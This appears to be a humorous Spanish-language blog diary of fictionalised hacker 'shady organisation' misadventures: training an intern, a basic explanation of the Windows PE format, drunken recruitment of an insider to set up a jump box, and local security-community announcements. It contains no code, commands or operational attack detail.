- ¡Joven!
- Esto es por el bien común
- Pero no es por el bien de mis finanzas
- ¡Becario!, no tienes la actitud - y a regañadientes sacó su tarjeta de crédito
- Becario con Esteroides, prepara todos los equipos una vez que lleguen
- Si boss

Este era un buen comienzo, empezaban a construirse los vectores de ataque y teníamos al fin una aliada que tenía experiencia en algo así de grande. Tal vez si podríamos cumplir la tarea.

De vuelta a casa recibí una llamada telefónica. Antes siempre temía cuando Mom me marcaba, pero creo que ahora mis temores cambiarían de orden.

- Hola
- Ven - dijo en forma más de orden que de invitación
- Pero ya me voy a mi casa
- Dije "ven" - y subió un poco el tono de la orden
- Ok, dice Waze que llegó en 30min
- Bien... suficiente para que las burbujas se formen - y colgó

Querido diario… me siento usado; tal vez Lalo tenga razón, pero no tenía opción.

Hoy vi esto y no pude evitar querer una:

Así que de vuelta pasé a comprar algo de aragonita y piedra viva para iniciar un acuario marino y tener unas almejas máximas. Al menos son mejores mascotas que Shellcode.

Sábado, 28 de Abril de 2018: Amotinamiento

Querido Diario…

Llegué al fraccionamiento… esto si que se veía lujoso. Me pare frente a la puerta y apreté el timbre. No tardo en salir una muchacha.

- ¿Joven Augusto?
- Si
- Pase por favor, el señor lo espera
- Gracias
- Por favor, permítame su maleta, la iré a dejar a su habitación
- Gracias

No podía negarlo, Mom tenía estilo. De pronto vi el resultado de todas las veces que hemos arriesgado el pellejo por él en esa casa.

- ¿Cómo estamos? - su voz irrumpió en la estancia
- Preocupado
- ¿Por? - me preguntaba mientras me abrazaba. Tenía bastante de no verle en persona
- ¿Qué hago aquí?
- Estuviste mucho tiempo en la nieve, necesitas un poquito de color - dijo sin hacerle caso a mi pregunta real - déjame le digo al chofer que se apure para poder ir a desayunar
- No te preocupes, puedo desayunar lo que sea
- ¿A poco sabes cocinar?
- Retame
- Un omelette por favor, joven - me dijo mientras me ponía la sartén en frente

Mientras cocinaba me preguntó sobre como me había ido en el “trabajito” que hice para uno de sus conocidos más poderosos; los problemas que hemos enfrentado esta semana, y las posibles soluciones.

Terminé de hacer dos omelettes y los serví en medio de la barra que había en su cocina. Era impresionante, mi casa en Mexicali es bastante grande, sin embargo la cocina de Mom daba la impresión de ser toda la planta baja de mi casa.

- Su put$%& madre... no mam$%&.... no mam$%& - se empezó a poner rojo. ¡Diablos, acababa de envenenar a mi jefe! 
- ¿Debiese de preocuparme?
- No ma$%& cab$%& es el pu$%& omelette más bueno que he probado, ¿qué chin$%& hiciste?
- Ouuuuu ya, si... a veces ocupo mi tiempo libre en aprender a cocinar. Pero, dime... ¿qué hago aquí?
- Candia me mantuvo al tanto. Se comportó como un hombrecito y se pusó los pantalones
- Hum.. #tienelaactitud
- Pero esto no ha terminado, mañana tú y yo nos vamos a la Ciudad de México a finiquitar todo
- Ok
- ¿Cómo está la gente?, ¿cómo está Candia?, ¿tranquilos todos?

De pronto pensé… y pensé… y seguí pensando…

- Si, está motivado
 - Excelente, ¿y qué tal Iron Hommie?, ¿listo en caso de que se necesite?, ¿cuentas con su lealtad?
 - Hum... - y volví a pensar

- Seeeeeeh... - mentí... definitivamente mentí
- Bien, ve a descansar... ve a donde quieras. Por allá está el campo de golf, la playa, si quieres usa el yate... en la noche nos vamos a cenar tú y yo
- Ok
- Oye... - me interrumpió antes de que me fuese
- ¿Cual es el secreto?
- Revuelve los huevos con un tenedor, así agregas aire y salen esponjosos
- ¡Excelente!

Estaba frito… me habían traído a Miami sólo para prepararme para mi muerte. No quise pensar más y me puse a platicar con Violetta, nos pusimos a ver una película de forma remota juntos.

No había podido conseguir el licor de sakura en Mexicali, así que al menos podría buscarlo en la ciudad durante mi visita.. si es que volvía. Dania Pelo de Gomita de Tiburoncito estaba un poco estresada, y le prometí unos cupcakes para su celebración de despedida.

Querido Diario…

Mom me va a ocasionar un infarto… tengo miedo, tal vez Lalo cometa un golpe de estado. En el pasado las insurrecciones eran cómicas, hasta que empezaron a ser ahora contra mi. Será una semana de emociones fuertes.

Mientras espero la hora para ir a cenar con Mom; decidí tomarme una botella completa de vino y fumarme un Cohiba… esto no está tan mal; ser un criminal turbio e ilegal tiene sus ventajas.

Jueves, 23 de Abril de 2018: Aburrimiento

Querido Diario…

El día ha estado muy extraño… como si de pronto o se hubiesen olvidado de mi, o si me tuviesen en algún tipo de vacaciones forzadas. ¿Has visto la imagen de una rana René que ve hacia una ventana?, bueno.. así que siento hoy.

Como no tenía algo que hacer y había que alimentarme… hice ceviche.

Pero no me llené y entonces terminé comiendo lo que casi como todos los días; yo creo que me voy a morir con está alimentación.

Después de eso volví a revisar mi correo, mi teléfono… nada, nada de nada.. ¡nada!. Seguí olvidado.

Así que me puse a jugar un poco adivinanzas.

… pero tampoco me entretuvo. El problema de una vida turbia e ilegal, es que vives tantas emociones en un día, que cuando no las hay, se torna aburrida. Así que entonces decidí que si nadie me hace caso era tiempo de prepararme para posibles cosas que viniesen en un futuro.

El problema, es que si no recuerdas, el dinero de tres viajes a Cuba se me fue en una muchacha de ojos azules llamada Karen que me estafó. Así que no podía prepararme yo mismo y tuve que recurrir a los propios recursos de esta H. Organización Turbia e Ilegal.

Después que me di cuenta que el Becario con Esteroides me iba a matar, y dado que Mom seguía sin comunicarse conmigo para algo, decidí buscar mis propias emociones fuertes. Como asaltar un banco y secuestrar a una rehén para… en realidad no tenía para que, sólo para no aburrirme.

Pero al final determiné que asaltar un banco no era buena cuando sólo tienes una rayita de gasolina para toda la semana. Así que decidí que mejor no. Y me fui a un área en donde tengo más conocimientos, fraude fiscal.

Y si… hacer un poco de fraude fiscal me hizo sentirme mejor. Pero como aun seguía un poco aburrido, nada como intentar meterte a algún sitio prohibido.

Lo cual tampoco conseguí y entonces de plano ya no supe que hacer. Había intentado todo para no volverme loco y nada…

Así que al final me puse a bañar a Shellcode y nos pusimos a ver Doctor Who. Creo que definitivamente estoy aburrido.

Querido Diario… gasté el dinero de la gasolina en comprar un monito del Primer Doctor de Doctor Who por eBay.

Culparé a Dania Pelo de Gomita del Oxxo, que en vez de hacerme recapacitar; me prestó su PBOX para que llegase aun más rápido a EEUU.

… si, hoy ha sido un día aburrido; dentro de casa y hecho bolita entre las cobijas.

Oh cierto, casi se me olvida… Cachanillo organizó en esta ocasión el OWASP Chapter Meeting, será en la UABC este jueves a las 7pm, en el aula magna.

Bueno… iré con Shellcode por un helado y a gastar lo que nos queda de gasolina.. a ella le gusta viajar en coche; le gusta pegar la lengua a los vidrios 😛

Viernes 20 de Abril de 2018: Dos cuerpos inertes

Querido Diario…

Había pasado mucho desde el día que les había dejado a los dos; pero me sorprendió mucho lo que vi; al abrir la puerta olía a Pinol.

- La señora Belén - pensé

Luego abrí la puerta y vi dos cuerpos inertes en la sala; uno de ellos era Lalo 2, el otro era Shellcode que estaba durmiendo a su lado

- Joven, volviste
- Si
- Pasó casi un mes... pensé que me habrías traído para entrenarme; y coff.. coff.. creo que en realidad ea para cuidar tu casa
- Hum... - en realidad si lo había llevado para entrenamiento turbio e ilegal; pero no estaba planeada mi última misión - si, soy una mala persona. ¿Cómo les ha ido?
- Pues la perrita ya usa el tapete - me presumió el Becario, lo cual era algo bueno, yo no había podido hacerle entender que debía de usar el tapete entrenador
- ¿Tienes hambre?
- Si, mucha... los miércoles viene una señora muy extraña. Entra como si nada, tiene llave y hace la limpieza; y cuando me vio me empezó a pegar con la escoba porque decía que era un asaltante
- Ouuu si, es la sirvienta. Ya he probado la furia de su trapeador. - lo pateé un poco - ven, vamos a comer; te llevaré por comida china, es la mejor que probarás
- Joven, ¿ya me puedo ir a mi casa?
- Si, pero antes tienes que ir aquí - y le mostré la imagen

- ¿Por qué?
- Porque es muy probable que alguna de nuestras historias turbias e ilegales, mezcladas con fantasia y difuminando un poco los hechos reales para que se lean a traficomédias, con el objetivo de enseñar seguridad informática; la terminé contando allí; y necesito que me aplaudas
- Ok, ¿y luego?
- Te mandaré a tu casa... creo que no soy el indicado para entrenarte. Que te entrene Lalo, como hasta ahora
- Joven - me interrumpió antes de salir
- ¿Eu?
- Tienes abierto el labio, como si te hubiesen golpeado; y caminas muy chistoso, como si te doliese algo... y estas como chueco. ¿Estas bien?
- Hum... #perotenemossalud - le dije haciendo un hashtag con mis dedos
- No te ves muy saludable
- Es el hambre... ahorita me recupero. Anda, apura... ponle la correa a Shellcode, pasaremos por unos tacos para ella de camino.

Querido Diario… llevo desde ayer durmiendo y despertando a medias todo el día por el jetlang, he vomitado todo lo que como y me duelen las costillas al respirar. Pero…. #perotenemossalud

… apenas estaba por cerrar la página del diario cuando recibí una llamada

- Bueno
- Hola, ¿cómo estas?
- Pues... 
- Que bueno... - hey, no acaba de decir nada, protesté en mi mente - ¿estas ocupado?
- No
- Te acabo de enviar dos documentos, prepárame algo. Te veo en dos semanas.
- Ok
- Gracias, nos vemos
- Ok
- Oye - se detuvo antes de colgar
- ¿Qué?
- ¿De verdad estas bien? - preguntó Mom con genuino interés
- Hum... ¿te puedo ser un poco sincero?, de esas sinceridades que usualmente la gente como nosotros no tiene
- Claro
- Ahora si ya no estoy muy seguro de que este bien
- Se acabaron este tipo de favores; nosotros a lo nuestro.
- Gracias... creo.

Querido Diario… ¿en donde puedo conseguir licor de sakura?, quiero preparar panquecitos de sakura: https://www.taylorb.net/sakura-cupcakes/

Lunes, 29 de Marzo de 2018: Entrenamiento 101

Querido Diario…

Mientras Nemux volvía el martes al trabajo para iniciar el ataque, no debía de olvidarme de Lalo 2, quién debía de ser entrenado para que en caso de deceso, tuviésemos a alguien listo para seguir. Debido a que no tengo mucho que hacer, decidí hacerlo yo mismo.

Pero primero que nada… tenía que felicitar a una persona muy especial; queeee.. probablemente no me entiende mucho, pero prometí que le felicitaría el día de ayer.

с днем рождения, надеюсь, вчера был отличный день … и скоро вы сможете посетить Мексику

Si… uno cuando se la pasa viajando a dar tehuacanazos por el mundo termina haciendo muchos amigos.

Después de eso, entonces si, me comuniqué con el Becario.

Lalo 2 es algo así como el consen de Lalo, esa fue la razón porque lo seleccioné para que sea entrenado y que sustituya a alguno de nosotros, que es muy probable que no regresemos vivos.

No estoy muy seguro de como Lalo 2 llegó a nosotros, cuando yo regresé a la H. Organización Turbia e Ilegal, él ya estaba allí; lleno de ilusiones en la vida, y fui yo de hecho quién se las rompió y le mostró como era el mundo de cruel.

Le mandé su boleto de avión y unas horas más tarde lo fui a recoger al aeropuerto; para iniciar su entrenamiento me apoyé de Cachanillo. Cachanillo es un elemento desplegado en Mexicali… si, no soy el único aquí. Cachanillo es muy bueno, lo conocí una ocasión en unas conferencias en CETYS y no pude pasar a oportunidad de reclutarlo. Su único problema es que es demasiada buena persona, ética, moral, de esos que dan más de si… no encaja en el perfil de esta H. Organización, pero no podía dejarle pasar.

Pasé a recoger a Cachanillo de camino al aeropuerto; y esperamos la llegada de Lalo 2.

- Joven, esto es el infierno
- ¿Por?
- Esta haciendo un calor horrible
- Novato... Cachanillo, dile como ha estado el clima
- Fresco, aun no empieza el calor - respondió Cachanillo
- ¿Ves?... sube muchacho

Manejamos de regreso hacia la ciudad. Lalo 2 tenía cara de pánico durante el viaje, mientras Cachanillo tenía cara de felicidad; usualmente Cachanillo la pasa sólo, ni siquiera porque vivimos en la misma ciudad nos vemos mucho. Y ahora tenía una visita.

- Joven, ¿qué estoy haciendo aquÍ? - rompió Lalo 2 el silencio del viaje
- Hum... tomalo como un entrenamiento
- ¿Y tenía que ser aquí?, ¿dónde están los edificios?
- Hum... esto es un desierto, en los desiertos no hay edificios, hay cactus y arena; es café de allí se llama arena. Arena, Becario; Becario, arena. 
- Joven... tengo miedo
- Eso es bueno, el miedo nos ayuda a sobrevivir. Cachanillo, ¿te gusta la comida china?
- No
- ¿Cómo puedes ser de Mexicali y no gustarte la comida china?
- No sé, pero no me gusta
- ¿Qué quieren de comer?, pagan Mom
- ¡Pampas! dijeron a coro cuando íbamos por Benito Juárez

Comimos y estuvimos platicando un buen rato. Cachanillo y Lalo 2 no se veían desde Diciembre; y yo también ya tenía un buen tiempo de no ver a Cachanillo. Terminando llevé a Cachanillo a su casa y llevé a Lalo 2 a mi casa, allí lo hospedaría esta semana durante su entrenamiento.

- Bien muchacho, ahora es tiempo de que te expliqué porque estas aquí. Te voy a poner un vídeo para que entiendas cual es el "core" de negocios de la H. Empresa Turbia e Ilegal a la que pertenecemos.

- ¡Joven, me estoy asustando mucho con esto del core de negocios!
- Ouuuu... lo siento, lo siento... error de vídeo. Ya sabes... es frontera, gringos, hackean todo
- Ajá


Cuando terminó el vídeo veía en Lalo 2 la cara de motivación que estaba buscando, fue justo cuando supe que no nos habíamos equivocado en él.

- Bueno, ¿qué te pareció?
- Increíble joven, de hecho en mi diplomado he estado aprendiendo mucho de eso
- ¿En serio?, ¿Leobardo hace cosas así?... hum.. que interesante
- Si, podemos montar honeypots para detect....  - interrumpí
- No, no, no... no estas entendiendo... nosotros no somos los que defienden
- ¿No?
- Nou
- ¡Oh diablos!, somos unos criminales
- Eso mero
- Joven, ¿esto lo saben todos?
- Hum... si, en cierta forma si, pero por las dudas no le digas a nadie
- ¿Y ahora?, ¿me vas a enseñar a hackear?
- Hum... no, eso es algo complejo; eso no se aprende. En mis tiempos no había certificaciones, diplomados o cosas así. Yo lo que voy a hacer es enseñarte a profesionalizar tu criminalidad. Serás turbio e ilegal, perooo... no serás un turbio e ilegal cualquiera; en esta semana te convertiré en un verdadero criminal
- Quiero a mi mamá
- Regla #1, un criminal nunca teme
- Quiero romper la regla #1
- ¡Actitud Becario!, actitud... no tienes la actitud

Lalo 2 tardó un poco en entender cual era la importancia de nosotros y como trabajamos. Creo que en el fondo tenía la esperanza de ser un hombre de bien que hiciese cosas bien. Pero poco a poco lo fue aceptando, no se le veía muy alegre, pero creo que entendió.

- Joven, ¿en mi entrenamiento de menos me puedes explicar algo importante?
- ¿Cómo qué?
- Pues esos secretos del mundo de la seguridad
- Hum... yo no sé de eso; pero puedes preguntarle a Bytevik
- Dicen que tu sabías
- Dicen... hace mucho
- ¿Cómo se empezaste?
- Ya ni recuerdo - me recosté en el sofá para darle dramatismo - recuerdo que el IRC, aprendí mucho de amigos que hacían research conmigo en el RTM Security Team; luego aprendí mucho en foros de Europa del Este... ouuu.. esos tipos son como artistas, verdaderos hackers que desarrollan exploits de calidad, nada de  las porquerías de los gringos que hacen en Metasploit con tal de sacar el advisory y el PoC antes que todos. Esos tipos eran verdaderos hackers, aprendí de gente de Polonia, Rumania, Estonia, Rusia, Ucrania, Uzbequistan... que tiempos Becario, que buenos tiempos
- ¿Qué tenías que aprender?, por ejemplo... ¿cómo puedo hacer un malware como el que hace poco hiciste para la misión que fuiste a hacer con Joshua?
- Eso no fue un malware, sólo fue un payload; un malware no es cosa fácil, debes de aprender como funciona un sistema operativo y como interactua con cada uno de los archivos que utilizada, ¿sabes lo que es PE?
- No
- Bueno, pues el PE es el Portable Executable Format, usualmente empezabas por allí. PE es el formato de los archivos que usa Windows; esto es muy importante si algún día quieres ser un verdadero profesional y lanzar ataques de malware completamente orientado a un objetivo en particular. Mira - y me levanté para tomar un plumón - Esto de aquí es básicamente la estructura de un archivo PE de MS Windows.

- Pero no sólo eso, lo importante también viene en sus headers. Cuando haces un payload no tiene nada de esto, así que tienes que inyectarlo dentro de un archivo que si lo tenga para que se ejecuté. Si tu tratas de ejecutar un payload sin headers va a fallar. Cuando haces malware, tienes que incluir las headers, estrictamente es un archivo real.

- Dentro de estos headers, tenemos diferentes secciones; y cada una de ellas tiene una función en especifico. Por ejemplo, tenemos donde el archivo le indica al sistema operativo donde debe de empezar a cargar; el MZ lo vas a ver en todos lados, de hecho si usas un debugger como Immunity Dbg u Ollydbg vas a verlo muy común cuando arrancas el binario. También es muy importante para poder determinar si un archivo es original o falso o si fue modificado. Además tiene tamaños especificos, de esa forma cuando hacer el reversing podrás encontrar cada una de las secciones para su análisis. - terminé
- Interesante, ¿vamos a ver más de esto en la semana?
- No, en realidad no. Mañana te voy a enseñar a manejar un arma, así podrás sacarle las contraseñas a la gente de forma más rápida. 
- Diablos
- Descansa Becario... buenas noches
- Oiga joven, una última pregunta
- ¿Si?
- ¿Qué es eso?
- Ouuuu... esto es lo más genial del mundo; es un guarda plátanos

- Joven, es la cosa más inútil del mundo
- Pero está bonito. Buenas noches Becario
- Joven, otra cosa
- ¿Ahora qué?
- Su perro está arriba de mi
- Ouuu si, se llama Shellcode. Shellcode, Lalo 2, Lalo 2, Shellcode. Ella duerme en el sofá, así que... puede que piense que eres su nuevo colchón
- Ahhhhh... ¿hay forma que... - interrumpí
- No... y ni lo intentes, te puede morder
- Ok

Me fui a mi habitación y miré mis libros. The shellcoder’s hanbook, Windows Internals en todas sus ediciones, IDA Pro guide… ese muchacho quiere aprender cosas. Como me gustaba eso.

La nostalgia fue interrumpida por una llamada, era el Lalo, seguro me preguntaría por su cachorro

- Bueno
- Joven... dime que esta vivo
- Esta vivo, pero puede que ahorita este un poco babeado por mi perrita
- Ok, eso es bueno. ¿Por qué te lo llevaste?
- Por si tú o yo no volvemos
- Hum... - Lalo se quedó pensativo, él también entiende el riesgo al que nos enfrentamos en esta misión; el hecho de que ambos estemos trabajando juntos es el reflejo del riesgo, Mom nunca nos había puesto a los dos en una misma misión, eso quiere decir que esto es grave, tal vez más grave de lo que creemos. - ¿mañana empezamos?
- Si, le marcaré a Nemux para configurar el jump box, y cuando tengas las credenciales te las pasó
- Ok... buenas noches joven
- Buenas noches - y colgó

Querido Diario… en la semana rechacé algo que podría haber puesto fin a mi camino de turbidez e ilegalidad. Pero… hay cosas… personas, que son más importantes que cualquier otra cosa.

Tengo esperanzas en el Becario… tal vez tenga futuro. Y sino, es matemático… haré que hagan las predicciones en mis inversiones.

Viernes, 16 de Marzo de 2018: FIL en la UABC

Querido Diario..

Tengo sed, me duele la cabeza… oh diablos, ¿dónde están mis calzoncillos?…

- Lalo
- Hum... 
- ¿Qué pasó?
- Pues... te alocaste
- Define alocamiento
- Compramos algo llamado sotol
- Ouuuuu, y ¿luego?
- Pues luego vodka, tequila, cerveza y acabamos con Bacardi
- ¡Vodka!, odio el vodka, es peligroso
- Si, eso dijiste mientras Karen te lo echaba encima
- ¿Karen?, ¿qué Karen?
- La güera de lencería roja
- ¿Eh? - me levanté para exclamar más sorpresa - ¡demonios Lalo!, ¿y ese muerto?
- ¿Cual muerto? - Lalo también se levantó para saber que pasaba - ¡Ah! no es un muerto, es Nemux

Después de nuestra tragedia en el hotel-pirámide; Lalo y yo nos seguimos manejando hasta Culiacán, en donde quedamos de ver a Nemux en un Wings Army. Debido a que lleva mucho que vivo en Mexicali, les dije que bebería como mujer, y pedí una cerveza Tecate Light, a lo que ellos se burlaron de mi. Sin embargo, al parecer… y digo al parecer porque no estoy seguro de que fue todo lo que sucedió. Terminamos bebiendo más y luego… luego no sé que pasó.

Pero nos cuenta Paola que parecíamos muy divertidos. ¿Quién es Paola?, bueno, Paola es otro personaje de la H. Organización Turbia e Ilegal. En algún momento teníamos que conseguir a los mejores gatilleros; pero no teníamos presupuesto y reclutamos a gente mala en cada universidad de mala fama del país; así llegó un equipo altamente especializado de traficantes de órganos, distribuidores de droga, asaltantes de Burguers Kings, entre otros.

Paola es parte de ese equipo… y como dijese Lalo: ¡tiene la actitud!.

Después de que platicamos con ella entendimos lo que había sucedido… relativamente.

Pero bueno, justo para eso habíamos reclutados a este equipo especializado lleno de jóvenes con grandes aptitudes para el crimen y que obviamente me demuestran su respeto y admiración en todo momento.

Bueno.. tal vez para ser el lugar teniente de estos mafiosos, no me tienen tanto respeto. El punto es que… platicamos con Paola y nos explicó lo sucedido.

Al parecer, después de mucho alcohol, Nemux nos confirmó que trabajaba en una empresa que se encarga de realizar los pagos a las personas que le están haciendo ruido a Mom, y que por ende, tenía acceso a los sistemas de transacciones; los cuales, apenas me dijo eso, yo decía que iba a hackear. Claro, con el poder del vodka, porque ahora mismo creo que no puedo lanzar ni un ping.

- ¡Nemux!
- Muévete, vamos por unos chilaquiles.. no me siento bien
- Yo tampoco amigo - me respondió mientras intentaba ponerse en pie

Fuimos a comer a un puestecito de garnachas locales que encontramos; y con mi acento de chilango anorteñado pedí unas cervezas de mujer para mimetizarnos y no levantar sospechas.

*** Parentesis ( ***

En este momento ya tuve que salir y no pude continuar, peroooooo…. lo más importante de todo esto es:

El día de hoy a las 6pm tiempo cachanillo, se presentará una antología en la cual yo participé. Yo no podré estar en la presentación, firma de autografos y todo el show porque pss.. estoy en este momento comiendo chilaquiles en Culiacán, peroooooo.. vayán.

Una amiga, que ella si es escritora de verdad y no como yo; estudió en el CETYS Ingeniería en Diseño y trabaja como maestra; estará platicando sobre lo que ella escribió, y mencionará el blog.

Se ve raro, suena raro… pero este es un intento de mostrar como es el mundo de la seguridad informática, como aprender temas complejos de una forma divertida de la mano de un grupo de personas turbias e ilegales 😉

Vayan a la FIL de la UABC; de verdad los que escribieron allí si son buenos de verdad.

¡Ahhhh! y regresando de mi curso, prometo terminar este capítulo de las aventuras turbias que tendrán que pasar Lalo Candia y Belindo; para poder eliminar a la competencia de Mom.

6pm, PTC, no lo olvides 😉

 

*** Fin del parentesis ) ***

- Nemux
- Ajá
- ¿Entonces? - Nemux se veía muy mal, destruido literalmente. Yo y el joven Candia, no estábamos mejor
- ¿Entonces qué?
- ¿Nos vas a ayudar?
- No amigo, no puedo... mi ética me lo impidé
- Nemux... ¿cuanto quieres?, te doy $100 mil dólares
- Pero Belindo... 
- ¿$101 mil?... 
- No puedo, en serio. Ya me pasé mucho tiempo limpiando mi reputación desde que trabajé con Mom para que termine en lo mismo
- Eso si - Interrumpió Lalo - la neta, es que pues si; está cab$%&, además este tipo te debiese de matar
- ¿Por qué?
- Pues ayer lo insultaste, insultaste a su futura novia, y luego hiciste pagase todo... tú también gastaste; pero él más
- ¿Yo gasté?, ¿en qué gaste?
- ¡Ahhhh yo no sé!, pero te fuiste con esa tal Karen
- Diablos... ¿y luego que pasó?
- Pues luego apareciste, y dijiste que todo había sido malo, ella se enojó, te cacheteó y te sentaste a seguir bebiendo
- Diablos... ¿y luego?
- Fue cuando empezamos a platicar con Paola
- Ouuuuuu - pensé muy reflexivo... no recuerdo a esa tal Karen - Nemux, ¿cuanto gastaste?, no porque te lo vaya a pagar, sino porque así puedo hacer una relación y determinar que tanto alcohol bebimos
- Hum... deja ver - Nemux empezó a buscar en sus bolsas hasta que sacó un ticket, lo miró fijamente, escupió la comida y se desmayó

Horas más tarde despertamos en la habitación de Nemux; yo estaba viendo Tanked en la tele; Lalo peinaba su cabello.

- Nemux, ¿qué pasó?, ¿por qué te desmayaste?
- Amigos... ¿puedo aceptar aun la oferta de los $101 mil dólares?
- Si, claro
- Ok
- ¿Qué te hizo cambiar de opinión? - Nemux nos mostró entonces lo que había pagado

- ¿Qué tengo que hacer? - preguntaba Nemux
- Hum... crearas un jump box para darnos acceso a la red interna, lo demás lo hacemos nosotros
- Ok
- Bien
- Oye... ¿me puedes depositar ya?
- Hum.. nou... ya conoces a Mom, primero hacer el trabajo y luego paga... hum... a veces se atrasa muy poquito
- Si, como desde hace un año nos debe algo ¿no? - interrumpió Lalo - pero, yo creo que si te paga algún día

Nemux se quedó en su habitación sufriendo, y Lalo y yo nos fuimos al aeropuerto para regresar a nuestros respectivas ciudades.

Mientras estábamos en el aeropuerto Lalo me felicitó

- Joven, tengo que admitirlo... las cosas que has aprendido en tus últimas misiones son otro ped$%&
- ¿Qué cosas?
- Pues, insultaste a Nemux, insultaste a su futura esposa, luego lo emborrachaste, le volviste a reclamar, lo sacaste de su zona de confort, lo hiciste pedazos, y luego... lo convenciste de trabajar para nosotros; ¿cómo?, no sé... eres muy bueno, mentiste muy bien
- ¿Mentí?
- Si, hasta yo creí que estabas borracho y por eso me emborraché
- Lalo
- Belindo
- Creo que estaba borracho, no recuerdo nada de lo que me dices
- ¿Quiere decir que metiste a Nemux en un problema sin que fuese planeado?
- Creo que si
- Joven
- ¿Qué?
- Eres una mala persona
- Lo sé
- Joven
- ¿Si?
- Eres como un Mini-Mom, eso no se le hace a los amigos
- Suena mal

Lalo regresó a la Ciudad de México y yo a Mexicali. Habíamos conseguido al fin el acceso para entrar a nuestros enemigos.

Querido Diario.. .el sotol quema, arde… te duele al beberlo. Es la forma más horrible que haya probado… y… no tengo idea de quién es esa tal Karen; pero dicen que tenía los ojos azules y su cintura era más chica que mi pierna. [Inserte aquí emoticón vomitando]